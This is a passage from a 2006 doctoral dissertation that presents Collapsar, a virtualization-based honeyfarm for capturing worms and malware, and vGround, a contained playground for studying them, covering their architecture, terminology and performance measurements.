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ABSTRACT

Jiang, Xuxian. Ph.D., Purdue University, August, 2006. Enabling Internet Worms and
Malware Investigation and Defense Using Virtualization. Major Professor: Dongyan Xu.

Internet worms and malware remain a threat to the Internet, as demonstrated by a num-

ber of large-scale Internet worm outbreaks, such as the MSBlast worm in 2003 and the

Sasser worm in 2004. Moreover, every new wave of outbreak reveals the rapid evolution

of Internet worms and malware in terms of infection speed, virulence, and sophistica-

tion. Unfortunately, our capability to investigate and defend against Internet worms and

malware has not seen the same pace of advancement.

In this dissertation, we present an integrated, virtualization-based framework for mal-

ware capture, investigation and defense. This integrated framework consists of a front-

end and a back-end. The front-end is a virtualization-based honeyfarm architecture, called

Collapsar, to attract and capture real-world malware instances from the Internet. Collapsar

is the first honeyfarm that virtualizes full systems and enables centralized management of

honeypots while preserving their distributed presence. The back-end is a virtual malware

“playground,” called vGround, to perform destruction-oriented experiments with captured

malware or worms, which were previously expensive, inefficient, or even impossible to

conduct.

On top of the integrated framework, we have developed a number of defense mecha-

nisms from various perspectives. More specifically, based on the unique infection behav-

ior of each worm we run in vGround, we define a behavioral footprinting model for worm

profiling and identification, which complements the state-of-the-art content-based signa-

ture approach. We also develop a provenance-aware logging mechanism, called process

coloring, that achieves higher efficiency and accuracy than existing systems in revealing

malware break-ins and contaminations.
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1 INTRODUCTION

1.1 Background and Problem Statement

Internet worms and malware remain a threat to the Internet, as demonstrated by a

number of large-scale Internet worm outbreaks, such as the MSBlast worm in 2003 and

the Sasser worm in 2004. Moreover, every new wave of outbreak reveals the rapid evolu-

tion of Internet worms and malware with respect to their infection speed, virulence, and

sophistication. Examples of malware capabilities include infecting via multiple software

vulnerabilities [2–4]; propagating to a large machine population in tens of seconds [9];

planting “backdoors” in victim machines [2, 3]; installing malicious programs for spam

relay [4] or personal information collection [2]; and forming botnets among victim ma-

chines [10, 159].

Unfortunately, our capability to investigate and defend against Internet malware has

not seen the same pace of advancement since the Code Red episode in mid-2001. The

current approach of detection, characterization, and containment was developed to address

the spread of file-based viruses, which mainly corrupt file contents, and has not changed

significantly over the last five years. Furthermore, emerging Internet worms and malware

are notably different from earlier file-based viruses in their infection methods, propagation

means, and malicious payloads. As a result, advanced mechanisms are required to defend

against emerging Internet worms and malware.

In this dissertation, we argue that our lack of thorough understanding of Internet worms

and malware and of corresponding defense techniques is partially due to the absence of

systematic experimental platform and scientific methodology for observing, investigat-

ing, and modeling Internet worms and malware. Such platform and the corresponding

methodology should help answer the following questions: How to monitor the health of

the Internet and generate timely attack alerts? Once an alert is generated, how to trace
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the root cause of the threat? How to collect samples of new worms and malware in a

timely fashion? After a sample is collected, how to safely and realistically reproduce

its malicious behavior while avoiding real damages for timely investigation and accurate

characterization? How to expose possibly hidden or obfuscated features in the new infec-

tion? Furthermore, we envision that new malware defense techniques can be developed

based on results from in-depth malware observation and investigation.

In this dissertation, we propose an integrated, virtualization-based framework for mal-

ware capture, investigation and defense. Virtualization technology [1] has recently re-

gained tremendous research interest with a unique system perspective by creating a level

of indirection between physical resources and software systems. Such indirection provides

new capabilities to address computer systems problems such as security, reliability, and

resource provisioning. The focus of this dissertation is the use of virtualization technology

for malware investigation and defense.

The proposed framework consists of a front-end and a back-end. The front-end is a

virtualization-based honeyfarm architecture, called Collapsar, to attract and capture real

malware attacks from the Internet. The back-end is a virtual malware “playground,” called

vGround, which enables destruction-oriented experiments with captured real-world mal-

ware or worms.

Based on the integrated framework, we have developed a number of defense mecha-

nisms from various perspectives. More specifically, based on the unique infection behav-

ior of each worm we run in vGround, we define a behavioral footprinting model for worm

profiling and identification, which complements the content-based signature approach.

We also develop a provenance-aware logging mechanism, called process coloring, that

achieves higher efficiency and accuracy than existing log-based forensics systems in trac-

ing malware break-ins and contaminations.
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1.2 Dissertation Contributions

The contributions of this dissertation are three-fold: malware capture, malware inves-

tigation, and malware defense.

• Malware capture We have designed, implemented, and evaluated a virtualization-

based honeyfarm architecture, Collapsar [11, 12], to capture real-world malware at-

tacks from the Internet. Collapsar realizes the honeyfarm vision of distributed pres-

ence and centralized management of honeypots. Moreover, Collapsar supports both

server-side honeypots and client-side honeypots [13]. Server-side honeypots run

vulnerable server programs and passively wait for incoming attacks, while client-

side honeypots act as vulnerable clients (e.g., running a vulnerable web browser) and

actively crawl the Internet to be compromised by real-world malicious servers. Col-

lapsar is the first virtualization-based honeyfarm system that supports both server-

side and client-side honeypots.

• Malware investigation We have designed, implemented, and evaluated a virtualiza-

tion based malware playground, vGround [14], to safely reproduce malware behav-

ior. vGround is the first safe, scalable playground that can be used to unleash and

observe real-world worms and malware in a confined, realistic virtual environment

on top of a general-purpose shared infrastructure (e.g., a physical machine or a clus-

ter). vGround enables destruction-oriented experiments with real-world malware

or worms captured by the Collapsar front-end. Such experiments were previously

expensive, inefficient, or even impossible to conduct.

• Malware defense Using Collapsar and vGround as an integrated experiment plat-

form, we have developed a number of defense mechanisms [15, 16]. In this disser-

tation, we describe two new defense mechanisms, one for worm behavior profiling

and one for malware forensics: (1) For worm profiling, we have defined a behavioral

footprinting model [15] that complements the content-based signature model and

therefore enriches a worm’s profile for more accurate worm identification; (2) For
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malware forensics, we have designed and implemented a provenance-aware logging

mechanism called process coloring [16] to accurately and efficiently trace malware

break-ins and contaminations.

1.3 Terminology

This section establishes terminology that is used throughout the rest of the dissertation.

We inherit the same definitions for worm and virus by Eugene H. Spafford in 1989 [19].

The definition of honeypot is based on the definition by Lance Spitzner [20].

• Worm A worm is “a program that can run independently and can propagate a fully

working version of itself to other machines”. As noted in [19], “it is derived from the

word tapeworm, a parasitic organism that lives inside a host and uses its resources

to maintain itself.”

• Virus A virus is “a piece of code that adds itself to other programs, including op-

erating systems.” It cannot run independently – it requires that its “host” program

be run to activate it. As pointed out in [19], it has “an analog to biological viruses

– those viruses are not considered alive in the usual sense; instead, they invade host

cells and corrupt them, causing them to produce new viruses.”

• Rootkit A rootkit is “a set of software tools or programs frequently used by an in-

truder after gaining access to a computer system.” [5] It allows an intruder to access

the victim’s system without being noticed. A rootkit can intentionally conceal cer-

tain status of a running system, such as current running processes, existing files, or

open network connections. Various rootkits exist for a variety of operating systems

including Microsoft Windows, Linux, and Solaris.

• Backdoor A backdoor is “an undocumented way to get access to a computer system

or the data it contains.” [6] The backdoor is usually combined with a rootkit. For

example, when a backdoor is being provided by a malicious process, a rootkit can

be deployed to hide its existence from a legitimate system administrator.
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• Trojan A trojan is “a malicious program that installs itself or runs surreptitiously

on a victim’s machine.” [7] It does not run automatically – it requires that its “mas-

queraded” program be run to activate it. As such, “it may entice users into installing

or executing by masking as another legitimate program.” [7]

• Malware Malware represents “malicious software,” a generic term “covering a

range of malicious software programs to attack or degrade the intended use of a

computer system or network.” [8] Types of malware include worms, viruses, rootk-

its, backdoors, and trojans.

• Honeypot A honeypot is a “security resource whose value lies in being probed,

attacked, or compromised.” [20] It is also considered a trap set to detect or deflect

attempts at unauthorized use of information systems. A honeypot usually consists

of a computer, data or a network site that appears to be part of a network, but is

actually isolated and protected, and usually contains information that would be of

value to attackers. Based on different criteria, there exist various types of honeypots.

A further classification will be described in Chapter 3.

• Honeyfarm A honeyfarm is a collection of honeypots that are deployed and ad-

ministrated in the same location. Compared with multiple individual honeypots, a

honeyfarm has the benefits of centralized honeypot management, distributed honey-

pot presence, and convenient attack correlation.

1.4 Dissertation Organization

This dissertation is organized into seven chapters, including this introductory chapter.

Chapter 2 gives an overview of the integrated framework for Internet worm and malware

capture, investigation, and defense. The design, implementation, and evaluation of the

framework’s front-end and back-end will be presented in Chapter 3 and Chapter 4, respec-

tively. Chapter 5 and Chapter 6 present two defense mechanisms: behavioral footprinting
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and process coloring, which are developed and evaluated on top of the integrated platform.

We make concluding remarks and outline future work in Chapter 7.
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2 AN INTEGRATED FRAMEWORK FOR MALWARE CAPTURE,

INVESTIGATION, AND DEFENSE: AN OVERVIEW

In this chapter, we present an overview of our integrated framework, followed by a brief

description of its three key components and their relation.

2.1 Framework Overview

System Randomization

Behavioral Footprinting

Contamination Tracking

Collapsar vGround Advanced Malware Defense Mechanisms

Reactive Defense

Proactive Defense

Malware Trap
Front−End: Back−End:

Malware Playground

Figure 2.1. An integrated framework for malware capture, investigation, and defense

Figure 2.1 shows the overall organization of the integrated framework. This framework

has three main components: (1) a honeyfarm front-end for malware capture (Collapsar),

(2) a back-end playground for malware investigation (vGround), and (3) a suite of malware

defense mechanisms.
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2.1.1 The Front-End for Malware Capture

The front-end interacts with computers on the Internet and invites malware attacks. To

capture attacks against multiple network domains, a common practice is to deploy hon-

eypots in these domains. Unfortunately, this creates a conflict between attack detection

coverage and honeypot management. A large number of honeypots deployed in different

domains will achieve a wide attack coverage. However, they will make honeypot manage-

ment challenging, especially considering the inherent security risks of honeypot operation

and the need for expertise in honeypot monitoring and analysis 1.

Our front-end is a full-system virtualization-based honeyfarm architecture called Col-

lapsar that resolves the above conflict. In Collapsar, honeypots are logically present in

different physical production networks achieving wide attack coverage. However, these

honeypots are physically hosted in a dedicated network and centrally managed by secu-

rity experts. As a result, Collapsar achieves the seemingly conflicting goals of distributed

presence and centralized management of honeypots. Virtualization technology plays a key

role in achieving the scalability, confinement, and realism of Collapsar

Between its initial deployment in August 2003 and May 2006, Collapsar has captured

a number of high-profile Internet worms and malware such as MSBlast (2003), Enbiei

(2003), Welchia (2003), Sasser (2004), and Zotob (2005). Collapsar has also demon-

strated feasibility of real-time distributed attack correlation and mining. Collapsar will be

presented in Chapter 3.

2.1.2 The Back-End for Malware Investigation

After capturing an Internet worm, it is desirable to unleash it in an environment for

close observation of its infection, contamination, and propagation behavior. Unfortu-

nately, major challenges exist in realizing such a “malware playground,” that achieves

1Based on our experience, it is usually within hours or even minutes for a newly-deployed honeypot to be
probed and compromised.
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all of the following: fidelity, confinement, scalability, and experiment efficiency and con-

venience.

We address these challenges by developing a virtualization-based malware playground

called vGround. A vGround is an all-software virtual environment dynamically created for

a destruction-oriented malware experiment. It contains realistic end-hosts and network en-

tities, all realized as virtual machines (VMs) connected and confined by a virtual network

(VN). When running in a vGround, a worm’s behavior, such as probing, exploitation,

replication, and payload functions, can be fully revealed and recorded in the vGround.

vGround will be presented in Chapter 4.

2.1.3 Malware Defense Mechanisms

With Collapsar and vGround, we create an integrated experiment platform that effec-

tively keeps track of emerging Internet threats (e.g., worm outbreaks) and safely repro-

duces malware behavior for close observation and investigation. Based on the insights

and observations obtained from this platform, we gain unique advantages in investigating

malware defense mechanisms.

We have developed a suite of malware defense mechanisms. These mechanisms are

either reactive by tracing malware break-ins and contaminations and generating behavior-

based worm signatures or proactive in making existing systems more robust or even im-

mune to malware infection mechanisms (e.g., code-injection attacks). In this dissertation,

we focus on reactive malware defense mechanisms, to be presented in Chapter 5 and

Chapter 6.
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3 VIRTUALIZATION-BASED HONEYFARM FOR MALWARE CAPTURE AND

DETENTION

3.1 Introduction

There has been an increase in the number and scale of Internet malware attack inci-

dents from 2000 to 2006 [23]. This has motivated research efforts in developing systems

and tools for capturing, monitoring, analyzing, and, ultimately, defending against Internet

malware. Among the most notable approaches, the honeypot [24] has emerged as an effec-

tive tool for observing and understanding attackers’ motivations, toolkits, and tactics. A

honeypot, by nature, suspects every packet transmitted to/from it, enabling the collection

of highly concentrated, low-noise datasets for network attack analysis.

However, honeypots are not panacea and suffer from a number of limitations. In this

dissertation, we will address the following two limitations of independently operated hon-

eypots. First, a single honeypot or multiple independently operated honeypots only pro-

vide limited local views of large-scale malware attacks. There is also a lack of coordina-

tion among honeypot operations in different networks, missing the opportunity of creating

a wide diverse view for global malware attack monitoring, correlation, and trend predic-

tion. Second, honeypot deployment has inherent security risks and requires non-trivial

efforts in monitoring and data analysis. Security expertise is needed for safe and effective

honeypot operations. However, such expertise is not widely available, making it neces-

sary to resort to centralized honeypot management backed by special expertise and strict

regulations.

It is challenging yet desirable to accommodate the two conflicting goals of honey-

pot deployment and operation: decentralized presence and centralized management. To

address this challenge, we present Collapsar, a virtual machine (VM) based architecture

for Internet worms and malware capture. A Collapsar center hosts and manages a large
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number of honeypots in a local dedicated physical network. However, to attackers, these

honeypots appear to be in different network domains. Hence, the two seemingly conflict-

ing goals are achieved simultaneously by Collapsar. The logical distributed presence of

honeypots provides a more global view of malware attacks, while the centralized physical

location enables security experts to locally manage honeypots and collect, analyze, and

correlate attack data pertaining to multiple production networks.

Collapsar realizes the honeyfarm vision, or more specifically server-side honeyfarm

vision, where multiple server-side honeypots running vulnerable services (e.g., Apache

web servers) are centrally operated while each of them virtually belongs to different net-

work domains. Furthermore, Collapsar realizes our new vision of reverse honeyfarm or

client-side honeyfarm, where multiple honeypots running vulnerable client-side software

(e.g., web browsers) actively crawl the web to draw possible exploitations by malicious

servers. For convenience, we will use the term reverse honeyfarm and client-side honey-

farm interchangeably. The client-side honeypots also have virtual presence in different

network domains, while they are physically launched from the Collapsar center. For both

server-side and client-side honeyfarms, Collapsar achieves three key advantages over in-

dividual honeypot systems: (1) distributed presence, (2) centralized management, and (3)

convenient attack correlation and data mining.

The rest of this chapter is organized as follows: Section 3.2 presents the background of

honeypots as well as the vision and challenges of Collapsar. The architecture of Collapsar

is presented in Section 3.3, while the implementation details are described in Section 3.4.

Section 3.5 evaluates Collapsar’s performance. Section 3.6 presents several real-world

attack incidents captured by our Collapsar prototype. Related work is presented in Section

3.7. Finally, Section 3.8 summarizes this chapter.

3.2 Honeypots and Collapsar

Honeypots can be classified by the level of interaction with attackers (can be either hu-

man or malware). This classification differentiates high-interaction, medium-interaction,
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and low-interaction honeypots. High-interaction honeypots allow attackers to access full-

fledged operating systems with few restrictions, although, for security reason, the sur-

rounding environment may be restricted to confine any hazardous impact of honeypots.

This is highly valuable because new vulnerabilities in real operating systems and appli-

cations can be brought to light [13, 28]. However, such value comes at the price of high

risk and operator responsibility. Medium-interaction honeypots involve less risk but more

restrictions than high-interaction honeypots. One example is the use of jail or chroot in

a UNIX environment. Medium-interaction honeypots provide more functionalities than

low-interaction honeypots, which are, on the contrary, easier to install, configure, and

maintain. Low-interaction honeypots emulate a variety of services that the attackers can

interact with.

Another classification criteria differentiates between physical and virtual honeypots.

A physical honeypot is a real machine on the network, while a virtual honeypot is a virtual

machine hosted in a physical machine. For example, honeyd [26] is a low-interaction

virtual honeypot framework. In recent years, advances in virtual machine technologies

have boosted the development and deployment of virtual honeypots. Virtual machine

platforms such as VMware [21], User-Mode Linux (UML) [22], and Xen [29] enable high-

fidelity emulation of physical machines and have been increasingly adopted to support

virtual honeypots [24].

A new classification criteria distinguishes between server-side and client-side honey-

pots. Server-side honeypots are passive entities running vulnerable server-side software

and they wait for attackers’ contact and intrusion. Most current honeypot systems are

server-side honeypots. Client-side honeypots are proactive entities running vulnerable

client-side software and they initiate contact with servers on the Internet to get exploited

(e.g., a vulnerable web browser getting exploited by a malicious web server). The client-

side honeypot is unique in detecting possible exploitation of client-side software, a capa-

bility not provided by traditional server-side honeypots. Examples of client-side honeypot

systems include the Strider HoneyMonkey exploit detection system [13] and the Honey-

client system [30].
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3.2.1 Collapsar: Visions and Challenges

Honeypots in Collapsar can be categorized as high-interaction and virtual. Moreover,

Collapsar supports both server-side and client-side honeypots. Different from individ-

ual honeypots, Collapsar honeypots are physically located in a dedicated local network

but logically dispersed in multiple network domains. This property reflects the vision of

honeyfarm [25]. However, there has been no realization of honeyfarm before Collapsar

that uses high-interaction honeypots with detailed design, implementation, and real-world

experiments. Moreover, we demonstrate that by using high-interaction honeypots, the

honeyfarm vision can be more completely realized than using low-interaction honeypots

or passive traffic monitors. Extending the honeyfarm vision, we further propose and real-

ize the reverse honeyfarm vision. The reverse honeyfarm is different from the traditional

honeyfarm in that it hosts client-side honeypots. Instead of passively waiting for attacks,

client-side honeypots in Collapsar actively request services from servers on the Internet.

To a server, requests from Collapsar appear to come from different network domains.

The development of Collapsar is more challenging than that of a stand-alone honeypot

system. System fidelity requires honeypots to behave, from an attacker’s point of view,

as normal hosts in their associated network domains. From the perspective of Collapsar

operators, the honeypots should be easy to configure, monitor, and manipulate for system

manageability. To develop Collapsar, the following problems, common in both traditional

honeyfarms and reverse honeyfarms, need to be addressed:

• How to redirect traffic? Traffic toward/from a honeypot should be transparently

redirected between the target network and the Collapsar center without the attacker

becoming aware of the redirection. Moreover, a virtual honeypot in the Collap-

sar center is expected to exhibit similar network configuration and behavior as the

regular hosts in the same production network.

• What traffic to redirect? To achieve high fidelity, all traffic to a honeypot needs

to be redirected, even if some traffic (such as broadcast) is not exclusively for the

honeypot. However, redirection of all related traffic will incur considerable over-
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head. More seriously, some traffic may contain sensitive information that the at-

tacker should not be receiving.

• When to stop an attack? Honeypots are designed to exhibit vulnerability and are

expected to be attacked. However, the attack may cascade. A compromised honey-

pot can be used in another round of worm propagation or DDoS attack. Collapsar

should detect and prevent such attacks before any real damage is done. However,

simply blocking all outgoing traffic is not a good solution, because it will curtail

the collection of evidence of the attacks, such as communication with other cohorts

and the downloading of rootkits. The challenge is to decide the right time to say

‘Freeze!’ to the attacker.

We present our solutions to the first problem. For the second and the third problems,

we present Collapsar’s components and mechanisms for the enforcement of traffic filtering

and attack curtailing policies specified by Collapsar administrators. We in this dissertation

do not address any specific policy and its impact. Instead, we focus on the architecture

and mechanisms of Collapsar.

3.3 Architecture of Collapsar

The architecture of Collapsar is shown in Figure 3.1. Figures 3.1(a) and 3.1(b) show

how Collapsar realizes the honeyfarm and reverse honeyfarm visions, respectively. Col-

lapsar is comprised of three main functional components: the redirector, the front-end, and

the virtual honeypot (VM). These components work together to achieve fidelity-preserving

traffic redirection. Collapsar also includes the following assurance modules to capture,

contain, and analyze the activities of attackers: the logging module, the tarpitting module,

and the correlation module.
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(a) A honeyfarm (hosting server-side honeypots) realized by Collapsar

(b) A reverse honeyfarm (hosting client-side honeypots) realized by Collapsar

Figure 3.1. The Collapsar architecture supporting both honeyfarm and reverse honeyfarm
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3.3.1 Functional Components

3.3.1.1 Redirector

The redirector is a software component running on a designated machine in each par-

ticipating production network. Its task is to forward relevant traffic to virtual honeypots

in the Collapsar center. A redirector has three main functions: traffic capture, filtering,

and diversion. Traffic capture involves the interception of all packets (including unicast

and multicast packets) toward a honeypot. As the captured packets may contain sensitive

information, traffic filtering needs to be performed according to rules specified by the net-

work administrator. Finally, packets that have gone through the filter will be encapsulated

and diverted to the Collapsar center by the traffic diversion function.

3.3.1.2 Front-end

The front-end is a gateway to the Collapsar center. It receives encapsulated packets

from redirectors in different production networks, decapsulates the packets, and dispatches

them to corresponding virtual honeypots in the Collapsar center. To avoid becoming a

performance bottleneck, multiple front-ends may exist in a Collapsar center.

In the reverse direction, the front-end accepts outgoing traffic from the honeypots,

and scrutinizes all packets with the help of assurance modules (to be described in Section

3.3.2) for attack stoppage. If necessary, the front-end will curtail the interaction with the

attacker to prevent a compromised honeypot from attacking other hosts on the Internet.

If a policy determines that continued interaction is allowed, the front-end will forward

the packets back to their original redirectors, which will then redirect the packets into the

network such that the packets appear to the remote attacker as originating from the target

network.

3.3.1.3 Virtual Honeypot

Collapsar supports both server-side and client-side honeypots: Server-side honeypots

accept packets coming from redirectors and behave as if they are hosts in the target pro-
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duction network. Physically, the traffic between the attacker and the honeypot follows the

path “attacker’s machine → redirector → Collapsar front-end → honeypot.” Logically,

the attacker interacts directly with the honeypot. To achieve fidelity, the honeypot has the

same network and system configuration as other hosts in the production network, includ-

ing the default router, DNS servers, and mail servers. Client-side honeypots actively ini-

tiate service requests, which are relayed transparently by redirectors to malicious servers.

Client-side honeypots appear to a malicious server as regular hosts running vulnerable

client-side software in different production network domains.

Both types of honeypots in Collapsar run as virtual machines. Virtualization not only

achieves resource-efficient honeypot consolidation, but also enables attack investigation

capabilities such as tamper-proof logging, live image snapshooting, and dynamic honeypot

creation and customization [31].

3.3.2 Assurance Modules

While the Collapsar functional components enable virtual distributed presence of hon-

eypots, assurance modules provide necessary facilities for attack investigation and mitiga-

tion of associated risks.

3.3.2.1 Logging Module

Recording how an attacker exploits software vulnerabilities is critical to the under-

standing of exposed vulnerabilities as well as attack tactics and strategies [24]. All com-

munications with honeypots are suspicious and need to be recorded. However, the tradi-

tional Network Intrusion Detection System (NIDS) based on packet sniffing may not be

effective if the attack traffic is encrypted. It has become common for attackers to commu-

nicate with compromised hosts using encryption-enabled backdoors, such as trojaned sshd

daemons. To log the details of such attacks without attackers tampering with the log, the

logging module in each honeypot consists of sensors embedded in the honeypot’s guest
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OS as well as log storage in the underlying physical host. As a result, log collection and

storage achieve high tamper-resistance.

3.3.2.2 Tarpitting Module

Deploying high-interaction honeypots is risky in that they can be used by the attacker

as a platform to launch a second round of attack (e.g. worm propagation). To mitigate

such risk, Collapsar’s tarpitting module subverts attacks by (1) throttling out-going traffic

from honeypots [32] by limiting the rate packets are sent (e.g. TCP-SYN packets) and

(2) scrutinizing out-going traffic based on known attack signatures, and crippling detected

attacks by invalidating malicious attack code [33].

3.3.2.3 Correlation Module

Collapsar provides opportunities to aggregate and mine log data for attack correlation,

which an individual honeypot or multiple independently operated honeypots cannot offer.

Such capability is supported by the correlation module. For example, the correlation mod-

ule is able to detect network scanning by correlating simultaneous or sequential probing

(ICMP echo requests or TCP-SYN packets) of honeypots that logically belong to mul-

tiple production networks. The correlation module can also be used to detect on-going

DDoS attacks [34], worm outbreaks [35], and hidden attack networks such as IRC-based

or peer-to-peer-based botnets created by certain worms.

3.4 Implementation of Collapsar

3.4.1 Traffic Redirection

There are two approaches to transparent traffic redirection: the router-based approach

and the end-system-based approach. In the router-based approach, an intermediate router

or the edge router of a network domain can be configured to activate the Generic Routing

Encapsulation (GRE) [36, 37] tunneling mechanism to forward honeypot traffic to the

Collapsar center. The approach has the advantage of high network efficiency. However, it
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requires the privilege of router configuration. The end-to-end approach does not require

access and changes to routers. Instead, it requires an application-level redirector in the

target production network for forwarding packets between the attacker and the honeypot.

In a cooperative environment such as a university campus, the router-based approach may

be a more efficient option, while in an environment with multiple autonomous domains,

the end-system-based approach may be adopted for easy deployment. In the following,

we describe the design and implementation of the end-system-based approach.

To illustrate the end-system-based approach, let R be the default router of a production

network, H be the IP address of the physical host where the redirector component runs,

and V be the IP address of the honeypot as appearing to attackers. H , V , and an interface

of R, say I1, belong to the same network. When there is a packet addressed to V , router R

will first receive it and then try to forward the packet based on its routing table. As address

V appears in the same network as I1, R will send the packet over I1. To successfully

forward the packet to V , R needs to know the corresponding MAC address of V in the

ARP cache table. If the MAC address is not in the table, an ARP request packet will be

broadcast to get the response from V . H will receive the ARP request. H knows that

there is no real host with IP address V . To answer the query, H responds with its own

MAC address, so that the packet to V can be sent to H and the redirector in H will then

forward the packet to the Collapsar center. Note that one redirector can support the virtual

presence of multiple honeypots in the same production network.

The redirector is implemented as a virtual machine running our enhanced version of

UML. This approach adds considerable flexibility to the redirector because the VM is

able to support policy-driven configuration for packet filtering and forwarding, and can be

conveniently extended to support useful features such as packet logging, inspection, and

in-line rewriting. The redirector has two virtual NICs: the pcap/libnet interface and the

tunneling interface. The pcap/libnet interface performs the actual packet capture and in-

jection. Captured packets will be echoed as input to the UML kernel. The redirector kernel

acts as a bridge, and performs policy-driven packet inspection, filtering, and subversion.

The tunneling interface tunnels the inspected packets transparently to the Collapsar center.
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For communication in the opposite direction, the redirector kernel’s tunneling interface ac-

cepts packets from the Collapsar center and moves them into the redirector kernel itself,

which will inspect, filter, and subvert the packets from the honeypots, and re-inject the

inspected packets into the production network through the pcap/libnet interface.

3.4.2 Traffic Dispatching

The Collapsar front-end is similar to a transparent firewall. It dispatches incoming

packets from redirectors to their respective honeypots based on the destination field in the

packet header. The front-end can also be implemented using UML, which creates another

point for packet logging, inspection, and filtering.

Ideally, packets should be forwarded directly to the honeypots after dispatching. How-

ever, virtualization techniques in different VM platforms complicate this problem. To

accommodate various VMs (especially those using VMware), the front-end will first in-

ject packets into the Collapsar network via an injection interface. The injected packets will

then be claimed by the corresponding virtual honeypots and be moved into the VM ker-

nels via their virtual NICs. This approach supports commercial VMs (e.g., VMware and

Virtual PC) without any modification. However, it incurs additional overhead (as shown

in Section 3.5). Furthermore, it causes undesirable cross-talk between honeypots that log-

ically belong to different production networks. Cross-talk may decrease the fidelity of

Collapsar. A systematic solution to this problem requires a slight modification to the vir-

tualization implementation, especially the NIC virtualization. Unfortunately, modifying

the VM requires access to the VM’s source code. With open-source VM implementations

such as UML, the injection interface of the front-end can be modified to feed packets di-

rectly into the VM (honeypot) kernels. As shown in Section 3.5, considerable performance

improvement can be achieved by this technique.
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3.4.3 Virtual Honeypots

The current Collapsar prototype supports virtual honeypots based on both VMware

and UML. Other VM platforms such as Xen [29], Virtual PC [38], and UMLinux [39]

may also be supported in the future.

VMware is a commercial system and one of the most mature and versatile VM plat-

forms. A key feature is the ability to support various commodity operating systems and to

take snapshots of live virtual machine images. Support for commodity operating systems

provides more diverse views of network attacks, while image snapshot generation and

restoration add to the convenience of forensic analysis. As mentioned in Section 3.4.2,

the network interface virtualization of VMware is not readily compatible with Collapsar

design. More specifically, in a Linux platform, VMware creates a special vmnet, which

emulates an inner bridge. A VMware-based virtual machine injects packets directly into

the inner bridge, and receives packets from the inner bridge. A special host process is

created to be attached to the bridge and acts as an agent to forward packets between the

local network and the inner bridge. The ability to read packets from the local network is

realized by a loadable kernel module named vmnet.o, which installs a callback routine reg-

istering for all packets on a specified host NIC via the dev add pack routine. The packets

will be re-injected into the inner bridge. Meanwhile, the agent will read packets from the

inner bridge and call the dev queue xmit routine to directly inject packets to the specified

host NIC. It is possible to re-write the special host process to send/receive packets directly

to/from the Collapsar front-end so that we can avoid packet injection and capture over-

head, incurred in both the front-end and the special host process. However, this solution

requires modifications to VMware.

UML is an open-source VM platform that runs directly in the unmodified user space of

the host OS. Processes within a UML (the guest OS) are executed in the virtual machine

in the same way as they would be executed in a native Linux machine. Leveraging the

capability of ptrace, a special thread is created to intercept the system calls made by any

process thread in the UML kernel, and redirects them to the guest OS kernel. Meanwhile,
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the host OS has a separate kernel space, eliminating any security impact caused by the

individual UMLs. We enhanced UML’s network virtualization implementation so that

each packet from the front-end can be immediately directed to the virtual NIC of a UML-

based VM. This technique not only avoids unnecessary packet capture and re-injection (as

in VMware) but also eliminates the cross-talk between honeypots in the Collapsar center.

3.4.4 Assurance Modules

Logging modules are deployed in multiple Collapsar components including redirec-

tors, front-ends, and honeypots. Transparent to attackers, logging modules in different

locations record attack-related information from different view points. Simple packet in-

spection tools, such as tcpdump [40] and snort [41] are able to record plain traffic, while

embedded sensors inside the honeypot (VM) kernel are able to uncover an attacker’s en-

crypted communications. In section 3.6.2, we will present details of several attack in-

cidents demonstrating the power of in-kernel logging. The in-kernel logging module in

VMware-based honeypots leverages an open-source project named sebek [42], while the

in-kernel logging for UML-based honeypots is performed by kernort [43], a kernelized

snort [41].

Tarpitting modules are deployed in both the front-end and redirectors. The modules

perform in-line packet inspection, filtering, and rewriting. Currently, the tarpitting module

is based on snort-inline [33], an open-source project. It can limit the number of out-going

connections within a time unit (e.g., one minute) and can also compare packet content

with known attack signatures in the snort package. Once malicious code is identified, the

packets will be rewritten to invalidate their functionality.

The Collapsar center provides a convenient venue to perform correlation-based attack

analysis such as wide-area DDoS attacks or stepping stone attacks [44]. The current pro-

totype is capable of attack correlation based on simple heuristics and association rules.

The correlation module can be extended to support more complex event correlation and



23

data mining algorithms, enabling the detection of non-trivial attacks such as low and slow

scanning and hidden botnets.

3.5 Performance Measurement

The VM technology provides effective support for high-interaction honeypots. How-

ever, the use of virtual machines inevitably introduces performance degradation. In this

section, we first evaluate the performance overhead of two currently supported VM plat-

forms: VMware and UML. We then evaluate the end-to-end networking overhead caused

by the Collapsar functional components for traffic redirection and dispatching.

To measure the virtualization-incurred overhead, we use two physical hosts (with

aliases seattle and tacoma, respectively) with no background load, connected by a lightly

loaded 100Mbps LAN. Seattle is a Dell PowerEdge server with a 2.6GHz Intel Xeon pro-

cessor and 2GB RAM, while tacoma is a Dell desktop PC with a 1.8GHz Intel Pentium

4 processor and 768MB RAM. A VM runs on top of seattle, and measurement packets

are sent from tacoma to the VM. The TCP throughput is measured by repeatedly trans-

mitting a file of 100MB using different socket buffer sizes, while the latency is measured

using standard ICMP packets with different payload sizes. Three sets of experiments are

performed: (1) from tacoma to a VMware-based VM in seattle, (2) from tacoma to a

UML-based VM in seattle, and (3) from tacoma directly to seattle with no VM running.

The results in TCP throughput and ICMP latency are shown in Figures 3.2(a) and 3.2(b),

respectively. The curves “VMware,” “UML,” and “Direct” correspond to experiments (1),

(2), and (3), respectively.

Figure 3.2(a) indicates that UML performs worse in TCP throughput than VMware,

because of UML’s user-level virtualization implementation. More specifically, UML uses

a ptrace-based technique implemented at the user level and emulates an x86 machine by

virtualizing system calls. VMware employs a binary rewriting technique implemented in

the kernel, which inserts a breakpoint in place of sensitive instructions. However, both

VMware and UML exhibit similar latency degradation because the (much lighter) ICMP
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Figure 3.2. Comparing virtualization-incurred overhead: VMware vs. UML
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Figure 3.3. Comparing Collapsar-incurred overhead: VMware vs. UML

traffic does not incur high CPU load therefore hiding the difference between kernel and ap-

plication level virtualization. A more thorough and rigorous comparison between VMware

and UML is presented in [29].

We next measure the performance overhead incurred by the traffic redirection and

dispatching mechanisms of Collapsar. We set up tacoma as the Collapsar front-end. In a
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different LAN, we deploy a redirector running on a machine with the same configuration as

seattle. The two LANs are connected by a high performance Cisco 3550 router. A machine

M in the same LAN as the redirector serves as the “attacker” machine, connecting to

the VM (honeypot) running in seattle. Again, three sets of experiments are performed

for TCP throughput and ICMP latency measurement: (1) from M to a VMware-based

honeypot in seattle, (2) from M to a UML-based honeypot in seattle, and (3) from M

to the machine hosting the redirector (but without the redirector running). The results

are shown in Figures 3.3(a) and 3.3(b). The curves “VMware,” “UML,” and “Direct”

correspond to experiments (1), (2), and (3), respectively.

